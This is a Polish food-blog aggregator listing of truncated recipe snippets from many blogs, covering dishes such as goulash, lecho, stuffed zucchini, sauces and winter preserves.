Gaździnka warzy
Gulasz węgierski 198

Miałam straszną ochotę na gulasz, taki z plackami ziemniaczanymi. Cóż było począć? Trzeba było się wziąć do roboty i w niedługim czasie powstał gęsty paprykowo - mięsny sos okalający chrupiące placki ziemniaczane, pycha! Potrzebujemy: 700 g mięsa z szynki wieprzowej 2 łyżki mąki  4 łyżki oleju rzepakowego 3 średnie cebule 3 ząbki czosnku 2 papryki 2 marchewki 0,5 litra

MamaOskarka
Zapiekane cukinie 251

wody. Doprawiamy solą, czosnkiem i majerankiem. Pomidory parzymy i obieramy ze skórki kroimy na mniejsze kawałki, pomidory wraz z resztą cebuli i dodatkiem łyżki oleju dusimy do powstania gestego sosu - studzimy. Paprykę kroimy w kostkę. Ostudzone pomidory, ryż, mięso mielone, paprykę, pieczarki i jajka doprawiamy do smaku czosnkiem, pieprzem i solą (jeśli używamy "Vegety"/"kucharka" możemy zastąpić sól). Dodajemy tartą

Garnkowe fanaberie
CIECIERZYCA Z KIEŁBASĄ I POMIDOROWĄ PASSATĄ 204

pyszna w smaku :-)  Składniki : 2 puszki ciecierzycy konserwowej ( każda po 400g) 3 laski dobrej kiełbasy 2 średnie cebule 2 ząbki czosnku 1 szklanka pomidorowej passaty (zamiennie pomidory w sosie własnym lub koncentrat pomidorowy) majeranek cząber sól pieprz słodka i ostra papryka olej koperek Wykonanie: Na rozgrzanym oleju podsmażamy pokrojoną cebulę, posiekany czosnek i pokrojoną w paseczki kiełbasę. Dodajemy ulubione

Walijskie Pichcenie
Krewetki królewskie tandori 217

Często podaje się je zawijane np. w szynkę, można także przyrządzać z nich szaszłyki lub przekąski kanapkowe. Krewetki są dodatkiem wielu gotowych dań mrożonych. Są też doskonałym składnikiem zup, sosów, past z makaronami, z ryżem oraz sałatek. Krewetki królewskie tandori. Składniki: - ok. 500g krewetek królewskich (miałam mrożone, bez pancerzyków, oczyszczone) - 4 łyżki jogurtu naturalnego - 4 łyżeczki przyprawy tandori masala - ½ łyżeczki

mojewypiekiinietylko
Grillowane ziemniaki z boczkiem i dipem musztardowym 237

nadchodzący weekend mamy dla Was super propozycję - grillowane ziemniaczki z boczkiem i doskonałym sosem musztardowym. Potrawa prosta do wykonania, pięknie prezentuje się na stole, a do tego wyjątkowo smakuje. Sekretem dipu  jest w tym wypadku odpowiedni dobór musztardy. Użyliśmy dwóch musztard  - klasycznej żółtej musztardy French`s i  ostrej angielskiej musztardy Colman's  (obie są dostępne m.in

Kulinaria - potrawy z różnych stron świata
PLACUSZKI Z PIECZARKAMI I ŻÓŁTYM SEREM 205

ciasto będzie rzadkie można dodać mąki pszennej jak i ziemniaczanej do placuszków można również dodać świeżą paprykę pokrojoną w drobną kosteczkę placki można podać ze śmietaną, ketchupem lub sosem

Ciastka - domowe słodkości
Makaronowe gniazdka z kurczakiem i cukinią 193

Rewelacyjne gniazdka makaronowe z dodatkiem kurczaka i cukinii, zatopione w żółtym serze i jajku idealnie sprawdzą się jako imprezowa przekąska. Jako dodatek polecam sos czosnkowy. 6 gniazdek makaronu Capellini Nidi (Nr 51) Malma 150 g filetu z piersi kurczaka Przyprawa do kurczaka Czosnek granulowany Słodka czerwona papryka 1/2 średniej cukinii 2 jajka 1/2 szklanki żółtego sera 3 małe różyczki brokułu

VioletoweKucharzenie
Recenzja książki "Polskie jabłka" i konkurs 236

pysznymi owocami. Są to między innymi: - napoje (soki, smoothie, cydr) - sałatki i surówki - zupy (chłodniki i te na ciepło) - potrawy bezmięsne (śniadania, zapiekanki) - potrawy z mięsem (wieprzowina, drób, ryby) - sosy, dipy, musy - ciasta (drożdżowe, kruche, ucierane) - desery (puddingi, musy, jabłka pieczone, lody) - przetwory (dżemy, kompoty, marmolady z nietypowymi dodatkami) oraz dział poświęcony popularnym odmianom jabłek Autorka w książce opisuje ponad

Smakołyki Asi
Cukinia faszerowana oscypkiem 236

fajnie podkręca smak mięsa. Składniki: - 2 cukinie - 2 małe oscypki - 1 papryka - 2 małe cebule - 3 ząbki czosnku - 1/2 kg mięsa mielonego - 1 łyżeczka delikatu do mięs - 1 łyżka sosu balsamicznego - pieprz czarny do smaku Przygotowanie: Cukinię myjemy, przekrawamy na pół i wydrążamy środki. Cebulę, czosnek, paprykę oraz środek cukinii kroimy w kosteczkę. Cebulę z czosnkiem podsmażamy, dodajemy do niego

Zainspirowana w kuchni
Masło klarowane 217

delikatny, charakterystyczny orzechowy smak. I co ważne,  ma bardzo długi okres przydatności. Nie jełczeje. Takie masło jest idealne do smażenia naleśników, jajecznicy, warzyw, mięsa a także do robienia sosów, w których składnikiem jest masło. Doskonale nadaje się do pieczenia ciast. Żeby otrzymać 260 g czystego masła (250 ml) potrzebowałam 400 g masła o zawartości tłuszczu 82%.   Składniki

Kuchnia u Krysi
Bulion warzywny 153

Bulion warzywny jest podstawą zup i sosów. Zazwyczaj porcję zużywam zaraz po zrobieniu, a pozostałą część mrożę w plastikowych pojemniczkach i wykorzystuję w miarę potrzeb.  Składniki: 2 marchewki 1 pietruszka pół niewielkiego selera 1 mały por 2 ząbki czosnku 1 cebula 2 liście laurowe 2 ziarna ziela angielskiego 8 ziaren pieprzu czarnego 3/4 płaskiej łyżeczki soli kilka gałązek natki

Smak mojego domu
FIT mini pizze z cukinii 155

Pieczemy na blasze wyłożonej papierem do pieczenia przez ok. 15 minut.  Odstawiamy do lekkiego przestudzenia.  Posypujemy suszoną bazylią. Podajemy z rukolą.  Do pizzerek świetnie pasuje również sos czosnkowy (jogurt naturalny + starty ząbek czosnku + sól i pieprz) Gotowe. Smacznego

Kuchnia Ellie
Spaghetti alla Carbonara 338

szczyptę soli i cukru. Do przesmażonej cebuli i boczku wlewamy śmietankę i gotujemy na wolnym ogniu, aż śmietanka się zredukuje i lekko zgęstnieje. Doprawiamy do smaku solą i pieprzem. Sos mieszamy z ugotowanym al dente makaronem i przekładamy na talerze. Całość możemy posypać startym serem

Jacob Tastes
Kiszona czerwona papryka 226

kiszonek nie może zabraknąć kiszonej papryki. Całe lato słój z kiszona papryką króluje na parapecie zaraz obok kamionki z małsolnymi ogórkami. Jest idealnym dodatkiem do kanapek, sałatek a nawet sosów.  Kiszona papryka SKŁADNIKI 7 średniej wielkości papryk 1 papryczka chilli 4 ząbki czosnku kawałek korzenia chrzanu 2 baldachimy kopru włoskiego 1/2 łyżeczki gorczycy 1 litr wody 1 łyżka soli

Magiczna kuchnia Darii
Gulasz mięsny z dzika 179

dodaj do mięsa. Całość zalej bulionem, dopraw solą i gotuj gulasz około godziny. Na suchej patelni zrumień mąkę po czym dodaj masło. Smaż przez chwilę, a następnie dodaj szklankę sosu energicznie mieszając. Dobrze rozprowadzoną zasmażkę dodaj do gulaszu, wymieszaj i zagotuj. Gotowy gulasz posyp natką pietruszki i podaj z kopytkami, ziemniakami lub kaszą.       The post Gulasz mięsny

codojedzenia
Colesław z czerwonej kapusty - fit 214

Surówka z kapusty lub colesław - pod taką nazwą egzystuje w krajach anglosaskich. Typowy colesław podawany jest z sosem majonezowym. To najpopularniejsza z surówek, której głównym składnikiem jest poszatkowana biała lub nieco rzadziej czerwona kapusta. Każdy kraj ma specyficzne dodatki i przyprawy. Np. libańska biała wersja koniecznie z kuminem i miętą. Dziś prosta, smaczna czerwona odmiana kapusty z octowo-olejową marynatą

Gotuj zdrowo!Guten Appetit!
Faszerowane bataty i letnia sałatka z arbuza z fetą 262

uznania), całość polewamy dressingiem, a na koniec ścieramy na sałatkę skórkę otartą z połowy cytryny. Gotowe! Gdy bataty są gotowe wykładamy je na talerz i polewamy ketchupem lub ulubionym sosem np. czosnkowym. Do tego sałatka i idealny obiad gotowy!   Bataty są ostre i pełne różnorodnych smaków. Oczywiście do farszu możecie dodać swoje ulubione składniki i przyprawy. Sałatka zaś

Cooking Monster
przetwory na zimę - bardzo łatwe pomidory 196

bardzo łatwe w przygotowaniu, bardzo przydatne zimą. Pomidory - bez przecierania, bez gotowania, tylko pasteryzowane. Przepis od lat funkcjonujący w naszej rodzinie. Sprawdzają się jako baza do pomidorówki, dodatek do sosów, zapiekanek czy faszerowanych naleśników albo po prostu do kanapek - jako alternatywa dla zimowych "pomidorów" ;-) W tym roku zaprawiłam pięć kilogramów pomidorów lima. Sparzyłam je wrzątkiem, obrałam ze skórek i pokroiłam

babka w formie
Chrupiące nugettsy z piersi kurczaka w kukurydzianej panierce z bawarską nutą 361

nugettsy są idealne zarówno na rodzinny obiad, jak i przyjęcie. Ja je podałam z sałatką, ogórkami i domowymi frytkami z piekarnika. Całość uzupełniał pyszny katchup od Develey i domowy sos czosnkowy. Idealny obiad, który znikł w mgnieniu oka.  O musztardzie bawarskiej od Develey pisałam Wam już przy okazji publikacji wpisu na pastę kanapkową . Dziś podzielę się z Wami moją

Słodkie okruszki
Passata pomidorowa 244

Idealna na zimę do zup i sosów Składniki 2 kg pomidorów 1 cebula 3 ząbki czosnku 1 marchewka 1/2 selera sól, pieprz, cukier 2 łyżki ziół prowansalskich   Sposób przygotowania … Czytaj dalej Passata pomidorowa

czarrna od kuchni
SURÓWKA Z CZERWONEJ KAPUSTY Z ORZESZKAMI PINII 257

Nieśmiertelna SURÓWKA Z CZERWONEJ KAPUSTY podana z miodowym winegretem i... Artykuł SURÓWKA Z CZERWONEJ KAPUSTY Z ORZESZKAMI PINII pochodzi z serwisu CookMagazine .

COOKMAGAZINE
Sałatka z kaszy bulgur – Tabbouleh 243

produktów spożywczych na świecie – znano ją już 4000 tysiące lat temu! Najpopularniejsza w krajach Dalekiego Wschodu. Wspaniała na słodko oraz jako część drugiego dania z mięsem i zawiesistym sosem. Można z jej udziałem przygotowywać zapiekanki, sałatki oraz farsze do drobiu. Nie tylko niezwykle łatwo ją przygotować, ale też warto spożywać ze względu na wysoką zawartość witamin, minerałów i protein

mojewypiekiinietylko
Jak ugotować pyszną zupę? 240

odżywczych, wtedy wkładajmy mięso do zimnej wody. Jeśli chcemy ugotować zupę, a z mięsa przygotować drugie danie (np. opiec kurczaka w panierce czy tez podać jako sztukę mięsa z sosem), wtedy najlepiej wkładać mięso do wrzątku.  Przesolona zupa - ratunku! Jeśli przesolicie zupę to bez paniki. Można ją uratować wkładając pokrojony w pasterki ziemniak - gotując się wchłonie część soli

Codzienna kuchnia niecodzienna
Zasmażane buraczki do obiadu 323

grubo zmielonym pieprzem i sokiem z cytryny (u mnie sok z niecałej połowy). Dusimy ok. 5 minut. Podajemy gorące do tradycyjnych obiadów np. kotletów mielonych czy schabowych, mięs w sosie, karkówki lub na zimno - jako sałatkę. Post Zasmażane buraczki do obiadu pochodzi z bloga Poezja smaku

Poezja smaku
Leczo z kurczakiem i ananasem 245

passaty pomidorowej [500g] 1 pierś z kurczaka - mała 1/2 szkl. soku z ananasa - jaki pozostał po odsączeniu owocu z puszki; można dodać więcej jeśli lubimy leczo z dużą ilością sosu kilka kropel Tabasco 1 łyżeczka słodkiej papryki 1/2 łyżeczki ostrej papryki 1/4 łyżeczki czarnego pieprzu 1 łyżeczka czosnku granulowanego 2/3 łyżeczki soli Przygotować warzywa do krojenia: umyć, wytrzeć do sucha

Grunt to przepis!
GOFRY Z KASZY JAGLANEJ 213

Gofry najczęściej kojarzą się z wakacyjną bombą kaloryczną - bogato posypane cukrem pudrem z kawałkami czekolady lub oblane bitą śmietaną i sosem toffi. Czasami można sobie oczywiście pozwolić na takie danie, ale na co dzień polecam zdrowszą wersję. Czytaj więcej

Kasia Sarna
FRYTKI Z BATATÓW NA SŁODKO 311

Szukając inspiracji na dania z wykorzystaniem słodkich ziemniaków, trafiłam na stronę minimalistbaker.com i od razu oczarował mnie podany tam przepis. Połączenie batatów ze słodkimi sosami oraz bitą śmietaną wydało mi się niebanalne i od razu je wypróbowałam. To danie zagości u mnie z pewnością jeszcze wiele razy :) Czytaj więcej

Kasia Sarna
SPAGHETTI A LA BOLOGNESE 318

pamiętam czy kiedykolwiek w życiu jadłam prawdziwe bolognese. Podejrzewam, że nie, ponieważ będąc dzieckiem (czyli w moich wszystkożerczych latach) odrzucało mnie od wszelkich sosów, zwłaszcza tych robionych na mięsie. Poniższy przepis jest jedynie nawiązaniem do wyglądu i konsystencji bolognese, bo ze smakiem nie wiem czy ma cokolwiek wspólnego. Czytaj więcej

Kasia Sarna
WEGE LUNCHBOX #1 198

szukać, proszę o linki :) ) Raz na jakiś czas zbiorę w jeden post moje lunche, może dla kogoś będą cenną podpowiedzią :) W MINIONYM TYGODNIU JADŁAM: PONIEDZIAŁEK ♥ ryż z soczewicą i sosem pomidorowym / kalarepę / jarmuż z burakiem, ogórkiem, cebulą, dynią, olejem z dyni Czytaj więcej

Kasia Sarna
Krokiety z cukinią 255

podlewamy 50ml wody. Dusimy lekko posoloną pod przykryciem ok 15 minut. Dolewamy śmietankę oraz dodajemy pokrojony na mniejsze kawałki ser topiony. Mieszamy do całkowitego rozpuszczenia i odparowania nadmiaru sosu. W razie potrzeby zagęszczamy łyżką mąki wymieszaną z 1/4 szklanki zimnej wody. Doprawiamy solą i pieprzem.  Farszem- najlepiej przestudzonym smarujemy naleśniki, zwijamy na krokiety i panierujemy w mące, jajku

Kuchnia w czekoladzie
Najlepsza zupa pomidorowa z klopsikami i czerwoną soczewicą 197

dolałam - dzień wcześniej piekłam warzywa w piekarniku: ziemniaki, cukinię, cebulę, czosnek i pieczarki. Jak to cukinia, puściła mnóstwo wody. Odlałam, żeby warzywa choć trochę się przypiekły. Był to aromatyczny sos pełen przypraw, więc żeby się nie zmarnował, dodałam do zupy. Śmiało można dać zwykłej wody lub delikatnego rosołu. Jeśli chodzi o przyprawy, zawsze pod koniec można jeszcze doprawić wedle uznania

Anioszek w kuchni
Klasyczne leniwe z twarogiem 212

Klasyczne leniwe, czyli z białym serem- kto ich nie kocha?! :) Niezależnie od dodatków: masło, śmietanka, cukier, cynamon, wanilia... A nawet i podane w wersji wytrawnej z sosem, po prostu smakują wybornie- taki już ich urok! :) Ja do leniwych wykorzystuję ser typu 'caprese', chociażby dlatego, że jest mniej kwaśny od tradycyjnego twarogu, w efekcie czego smak pierogów jest zdecydowanie przyjemniejszy

Kraina Miodem Płynąca
Placki z cukinii i szynki 215

cukinii i szynki smażymy na niewielkiej ilości oleju rzepakowego z obu stron na złoto, podajemy placki z kleksem jogurtu greckiego i natką pietruszki, można też podać placki z sosem tzatziki . Smacznego! The post Placki z cukinii i szynki appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Bezalkoholowy shot pomidorowy 169

przygotować shot pomidorowy? Potrzebny jest blender! Składniki: 1 szklanka pomidorków cherry, ½ szklanki świeżej natki pietruszki, kilka listków bazylii 1 łyżka oliwy z oliwek np. Sol&Mar, ½ łyżeczki sosu piri piri np. Sol&Mar lub tabasco. 1 łyżeczka octet jabłkowy , najlepiej domowej roboty sól gruboziarnista i ziarna czarnego pieprzu trochę zimnej wody gazowanej Przygotowanie: Wszystkiego składniki przekładamy do pojemnika

Damsko-męskie spojrzenie na kuchnię
Fasolka szparagowa w słoikach. Fasolka konserwowa 314

Jest trochę zachodu z tym trzykrotnym pasteryzowaniem fasolki, ale zimą wystarczy otworzyć słoik, odcedzić fasolkę na durszlaku i podgrzać… a potem podać np. fasolkę z bułką tartą , fasolkę w sosie pomidorowy m, albo a’la gulsz, Jak przygotować fasolkę szparagową do słoików ? Składniki: fasolka szparagowa w dowolnej ilości na 1 l bardzo gorącej wody, 1,5 łyżeczki soli, 1 łyżeczka

Damsko-męskie spojrzenie na kuchnię
Bardzo proste (i szybkie)leczo 503

zimno. Jeśli sok wyda się Wam za kwaśny, dodajcie do leczo w czasie gotowanie około 2 daktyli pokrojonych w drobne paseczki. Daktylami uratujecie każdą kwaśną zupę pomidorową czy sos. Gorąco polecam. Robię często kiedy nie mam pomysłu i czasu na stanie w kuchni

Z Kuchni Do Kuchni
Grill: pysznie i wygodnie 240

grilla tak dobrze, jak standardowa kiełbaska. To na nią zazwyczaj czekamy najbardziej – szczególnie, gdy jej skórka jest pięknie przypieczona i możemy ją zjeść z dobrej jakości musztardą, ketchupem czy sosem czosnkowym. Co zrobić, by upiekła się szybciej i smakowała naprawdę dobrze? Jedyne, czemu w tym wypadku warto poświęcić uwagę, to jej jakość. Wybierz się do dobrego sklepu i postaw

Kulinarnyblog.pl - wiesz jak gotować!
Quesadilla z indykiem i wieprzowiną 319

chrupiąca. Przekładamy na drugą stronę i grzejemy, aż druga strona się zarumieni a ser całkowicie się roztopi. Gotową quesadillę kroimy na trzy-cztery równe trójkąty. Swoje quesadille podałem z sosem śmietanowo-musztardowym zrobionym ze śmietany, słodkiej musztardy, odrobiny ketchupu i pieprzu

Jacob Tastes
Domowa pizza 235

drożdży 1łyżka cukru 1 łyżeczka soli 3 łyżki oleju 250 ml wody nadzienie: koncentrat pomidorowy 500 g pieczarek 1 cebula żółty ser - starty oliwki puszka tuńczyka w sosie własnym  lub w oleju olej, oregano, bazylia, sól, pieprz, słodka papryka Wykonanie: Ciasto: Mąkę wymieszać z solą i cukrem, dodać pokruszone drożdże, olej i ponad pół wody. Ciasto zagniatać stopniowo dodając

Mama Gotuje
Pieczone bataty i jogurtowy sos z awokado 154

Dzisiaj zapraszamy Was na przepis z książki „Romans z gotowaniem” pieczone bataty i jogurtowy sos z awokado idealna przekąska na mecz czy domowe

Kuchenne Wariacje
Kapusta włoska z kabaczkiem i mięsem 115

kapusty. Mięso mielimy, oprószamy solą i pieprzem, formujemy małe pulpeciki, dodajemy do całości. Dusimy pod przykryciem 5 min, od czasu do czasu mieszamy. „Nadmiar” płynu odparowujemy (jeśli lubimy dużo sosu, to nie), doprawiamy do smaku pieprzem. Mieszamy z posiekanym koperkiem. Podajemy z pieczywem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size

R'n'G Kitchen
Polędwiczki wieprzowe w sosie kurkowym 267

samym smażeniem solą i pieprzem. Smażyć na większym ogniu przez 2 minuty aż mięso się zrumieni od spodu, przewrócić na drugą stronę i powtórzyć smażenie. Usmażone mięso włożyć w sos kurkowy i gotować całość przez ok. 1 - 2 minuty. Źródło: kwestiasmaku.com linkwithin_text='Zobacz również inne przepisy:' var linkwithin_site

Świat Domowej Kuchni
KOLOROWA SAŁATKA Z POMIDORKÓW KOKTAJLOWYCH Z SERKIEM KOZIM I MIĘTĄ 150

pomidorki. Przekrój czerwone pomidorki koktajlowe na pół, a pozostałe na talarki. Pokrój kozi ser na talarki lub małe kawałki. Nałóż pomidorki na małe talerzyki (lub jeden duży talerz). Polej sosem winegret z miętą. Posyp sałatkę talarkami koziego sera i udekoruj listkami mięty. Podawaj sałatkę mocno schłodzoną

Smaki Francji współczesna kuchnia francuska
Ekspresowe leczo z cukini-pyszny pomysł na obiad 232

obieram za skórki ani nie wydrążam nasion) 10-15 min duszę żeby cukinia trochę zmiękła (ale dalej była lekko chrupiąca)a pomidory się rozparzyły i zrobił się z nich sos-doprawiamy do smaku solą,pieprzem,papryką słodką i ostrą i maggi Smacznego

Swojskie jedzonko
Stogonow z mięsa wieprzowego z kilku składników, 164

złotawe dodać pokrojone na grube plastry pieczarki. Smażyć co chwilkę mieszając. Wlać wodę, przecier pomidorowy zagotować i wymieszać. Wszystko z dna patelni musi się połączyć, co utworzy później pyszny sos. Wylać wszystko z patelni na cebulkę, zamknąć naczynie i piec w nagrzanym piekarniku do 200 C przez godzinę. Gdyby mięso było jeszcze twarde to trochę przedłużyć czas pieczenia. Na koniec

Kuchnia Pokoleń
Pasta paprykowa z bakłażanem do słoików na zimę 187

Aromatyczna, zaskakująca smakiem pasta paprykowa z bakłażanem. Idealna do wędlin, pasztetów, serów pleśniowych typu camembert czy do lasagne. Sprawdzi się też dobrze w zimnych i gorących sosach czy jako dodatek do dipów. Jednym słowem słoik orkiestra :) Zróbcie, spróbujcie i zachwyćcie się. Nie zapomnijcie opowiedzieć nam jak wam smakuje i do czego jej używacie. Lubimy czytać wasze komentarze i każdy wywołuje

Marder&Marder Manufacture
Amarantus – czy warto włączyć go do diety? 125

krok w dobrą stronę. Ja osobiście jestem zakochany w mące z amarantusa. Świetnie rozrabia się ją z wodą, a z jej pomocą możemy wyczarować bardzo smaczne paciaje lub zagęścić sosy i zupy. Amarantus ekspandowany (popping) natomiast świetnie sprawdzi się na śniadanie w towarzystwie roślinnego mleka lub jako dodatek do deserów. Podsumowanie Amarantus , jak widać po wpisie, jest niesłychanie zdrowy

Blendman
A TY CO MASZ W SWOJEJ LODÓWCE? 245

szybko psujące się! BOCZNE PÓŁKI: Te zdecydowania nadają się do trzymania oleju ( najlepiej jak będzie w ciemnej szklanej butelce ), p rzetworów, chrzanu, soków w kartonach czy też różnego rodzaju sosów. Na samej górze mamy pojemniki na jajka – te można przetrzymywać tam ok. 2 tygodni, ale pamiętajmy, że nie mogą być myte! ZAMRAŻARKA: Pamiętajmy, że niczego nie można zamrażać dwukrotnie

Ostra na Słodko
Jogurtowe Muffiny z karmelizowanymi śliwkami 213

ćwiartki. Do rondelka włóż masło oraz cukier i gotuj na małym ogniu do uzyskania karmelu. Dodaj śliwki i gotuj przez kilka minut, aż zmiękną. Ozdób wierzch muffinek zimnym sosem karmelowo-śliwkowym. Gotowe

Kulinarna (nie)codzienność
Gołąbki z pomidorowym nadzieniem 130

wiadomo dlaczego...ale jak się zrobi....MMMM <3 parę chwil nie idzie na marne ;) Składniki 1 kapusta włoska 300 g mięsa mielonego z karkówki 1 łyżka oleju Sos: 2 łyżki oleju 1 duża cebula 250 ml passaty pomidorowej 1 łyżeczka koncentratu pomidorowego 1 łyżeczka bazylii sól, pieprz 250 g ryżu 500 ml bulionu warzywnego   Przygotowanie   Normal

R'n'G Kitchen
Bulionetka warzywno- mięsna (domowa kostka rosołowa) 218

Zresztą dostęp do świeżych, swoich warzyw także się szybko wyczerpał, bo wiele tego nie miałam.  Tak przygotowana kostka doskonale sprawdzi się jeśli chcemy ugotować zupkę, lub zrobić pyszny sos. Nie zawiera glutaminianu sodu i spokojnie możemy podawać przygotowane na niej posiłki swoim dzieciom.  Składniki na ok 2,5l pasty 1 kg marchwi 500g korzenia pietruszki 1 duży seler

Kuchnia w czekoladzie
Ryż z kurczakiem po azjatycku 256

Składniki: 1 szklanka ryżu 1 filet z kurczaka 1/2 czerwonej papryki 1/2 niedużej cukinii 1 cebula 1 słoik kiełków soi w zalewie przyprawa do dań chińskich sos sojowy ocet ryżowy curry … Czytaj dalej Ryż z kurczakiem po azjatycku

czarrna od kuchni
Ziemniaczana sałatka z kalafiorem. 156

pieprz WYKONANIE: ziemniaki, jajka, ogórki kroimy w większą kostkę, dodajemy różyczki kalafiora,  czosnek przeciskamy przez praskę, łączymy z jogurtem i majonezem, doprawiamy solą i pieprzem, warzywa mieszamy, polewamy sosem i sałatka gotowa

Kuchnia Beaty
Bułeczki szefa. 484

przekładamy do miseczki i sypiemy do niego obficie wszystkie przyprawy (uważać żeby nie przesolić, uważać z papryką jeśli nie lubimy ostrego). Wszystko dokładnie mieszamy.  Na przygotowanych bułeczkach rozsmarowujemy sos pomidorowy i kładziemy polędwicę lub salami oraz ser. Bułeczki zapiekamy w nagrzanym do 180 stopni z termoobiegiem przez 15-20 minut. Z tylu składników wychodzi około 20 bułeczek. Smacznego

Moje-pitraszenie
Parowce, pampuchy, kluski na parze 234

robimy kulkę, w której robimy dołek i nakładamy do niego jagody (można dodać trochę cukru). Zalepiamy. Gotowe kluski przekładamy do parowaru i gotujemy 15 minut. Podajemy polane śmietanką albo sosem z jagód.  Do środka zamiast jagód można włożyć inne owoce albo np. czekoladę

Bon appetit mon amie
Kurczak jerk po karaibsku z warzywami 211

bulionu drobiowego 1 łyżka świeżego tymianku (albo 1 łyżeczka suszonego) Marynata jerk: 2 łyżki przyprawy włoskiej (*przepis poniżej) 2 łyżki brązowego cukru 2 łyżki oleju rzepakowego 2 łyżki sosu sojowego 1 łyżeczka cynamonu 1 łyżka świeżego tymianku (tak, jeszcze raz; albo 1 łyżeczka suszonego) 0,5 łyżeczki mielonego ziela angielskiego lub kilka ziaren 0,5-1 łyżeczki papryki chili przyprawa

Pociąg Do Kuchni
Ser smażony 208

Kotlety z sera smażonego to ulubione danie mojego męża. Zawsze, kiedy je robię to wiem że będzie smakowało. Można podawać je z żurawiną, ketchupem lub ulubionym sosem. Jest to pomysł na szybki i prosty obiad, albo przekąskę. Najlepiej smakuje taki prosto z patelni jeszcze gorący. po przekrojeniu ser powinien być płynny, a z wierzchu chrupiący. Składniki 300 g żółtego sera

O kuchni z uczuciem
Zapiekanka ziemniaczana 314

były na spodzie i na wierzchu. ¾ mleka wymieszać z przyprawami i zalać potrawę. Obłożyć plastrami sera, polać resztą mleka. Zapiec w temperaturze 180 stopni przez godzinę. * zapiekankę podaję z sosem pomidorowym, ketchupem lub z dodatkiem pieczywa

Tradycyjna Kuchnia
Makaron w sosie jagodowym 161

jagód 700 ml wody 50 g cukru 2 łyżki mąki ziemniaczanej WYKONANIE Makaron ugotować w lekko osolonej wodzie z dodatkiem oleju rzepakowego (czas wg. instrukcji na opakowaniu). Sos jagodowy: Do garnka wlać wodę, dodać cukier i zagotować. Do szklanki wlać nieco wody, wsypać mąkę ziemniaczaną, dobrze wymieszać, tak żeby nie było grudek i wlać mieszając do zagotowanej wody. Gdy masa

Passions hobbies life
Przekąska na zimno z płatkami jaglanymi 203

chia, zalewamy zielonym jogurtem i dodajemy borówki amerykańskiej oraz jagód goji. Zalewamy jogurtem jasnym. Dodajemy złoty len. Następnie znowu borówkę i sporo bananów. Jeśli chcemy całość uzupełniamy jogurtem, dodajemy sosu do deserów, ozdoby w postaci posypki czekoladowej. Kończymy dekorować owocami. Możemy włożyć na chwilkę do lodówki celem lekkiego schłodzenia. Taka przekąska wspaniale stawia na nogi, działa właściwie jak lekarstwo . Jest

Z Kuchni Do Kuchni
Klopsiki z batatów i pstrąga 184

świetnie komponują się z rybą. Powinien być właściwie łosoś, ale ja ostatnio lubię pstrąga łososiowego i namiętnie go kupuje i to jego użyłam do przygotowania kulek. Z dodatkiem sosu to pyszny obiad. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Makaron FIT z cukinią i pomidorami 228

chwilkę, ciągle mieszając. Dodać pokrojoną w kostkę cukinię i paprykę oraz pomidory w puszce. Doprawić, dodać zmiażdżony czosnek i dusić pod przykryciem około 30-40 minut. *aby zagęścić powstały sos możemy dodać odrobinę siemienia lnianego (zmielonego) *kiełbaskę możemy pominąć lub zastąpić np. filetem z kurczaka

Tradycyjna Kuchnia
Placki z kabaczka 132

mąkę, posiekany koperek, do smaku doprawiamy solą i pieprzem. Placki smażymy a rozgrzanym oleju, 1 łyżka=1 placek. Smażymy na rumiano. Osączamy z oleju na papierowym ręczniku. Podajemy z sosem czosnkowym. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-parent:""; mso-padding

R'n'G Kitchen
Karkówka po diabelsku (w marynacie z jajek i majonezu) 154

mięso doskonale nadaje się na grilla lub upieczenia w piekarniku. 1 kg karkówki (ew. schabu)  Marynata: 2 jajka 1 łyżka majonezu  2 łyżki mąki ziemniaczanej 2 łyżki sosu sojowego 1 łyżka przyprawy typu Vegeta (używam domowej) 1 łyżka papryki słodkiej 1 łyżka pieprzu 4 ząbki czosnku Dodatkowo: olej do smażenia  Mięso umyć, osuszyć i pokroić na plastry

Di gotuje
“Ziarno”-recenzja 174

zwraca uwagę na odpowiednie przygotowanie ziaren, tak  by pozbyć się kwasu fitowego i uczynić je łatwiejszym do strawienia. Zawiera praktyczny indeks, żeby nie przegapić przepisów na dodatki i sosy, które podawane są przy jakimś konkretnym daniu a mogą nam służyć w innych kombinacjach. Fajne jest też to, że wiele przepisów można dowolnie modyfikować, gdy zmieniają się sezonowe owoce zamieniając

Ugotowane pozamiatane
Co Lila jadła w środę? 16 211

Ogórkowa. Zupa (jak 99% u mnie) ugotowana na wywarze warzywnym. Swojskie ogórki kiszone, mnóstwo warzyw i troszkę jogurtu naturalnego. Pycha! II Danie 16:00 Ziemniaki, mięso z indyka w sosie własnym i mizeria (ogórki i jogurt naturalny). Podwieczorek 17:30 Omlet kakaowy z jabłkiem.  Kolacja 19:00 Fasolka z jajkiem sadzonym. Jeśli podoba Ci się ta seria wpisów, korzystasz

lady-och-mistrzyni.blogspot.com
Jak przygotować kwiaty cukinii? Kwiaty cukinii w cieście piwnym (krok po kroku) 239

świeżej bazylii. Więcej o nadzieniach poniżej. Faszerowane kwiaty możesz obtoczyć w cieście lub usmażyć "gołe" na oliwie. Jeżeli nie chcesz kwiatów smażyć, możesz je po nadzianiu zapiec w sosie pomidorowym. Kwiaty cukinii możesz dodać do omletu, frittaty albo położyć na pizzy. risotto z kwiatami cukinii lub makaron z kwiatami cukinii Kwiaty możesz też zjeść na surowo, dodając płatki

Chilli Czosnek i Oliwa
Tortilla ziemniaczana z oliwkami 210

Kiedy spód lekko się zarumieni tortillę przy pomocy talerza przewracam na drugą stronę i smażę na rumiano z drugiej strony. Gotową tortillę przekładam na talerz i podaję z ulubionym sosem

Tradycyjna kuchnia Kasi
Tortilla z kurczakiem – szybki lunch do pracy 388

tortilli układamy troszkę poszatkowanej sałaty, parę plasterków pomidora, ogórka, rzodkiewki, a następnie kurczaka. Zawijamy dwa brzegi tortilli do środka i całość rolujemy. W naszej wersji tortilli nie dodaję żadnego sosu, aby placki za bardzo nie nasiąknęły. Jak Wam się podoba przepis na tortillę - prawda, że szybko i smacznie? Post Tortilla z kurczakiem – szybki lunch do pracy pojawił się poraz

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka makaronowa z koperkiem 224

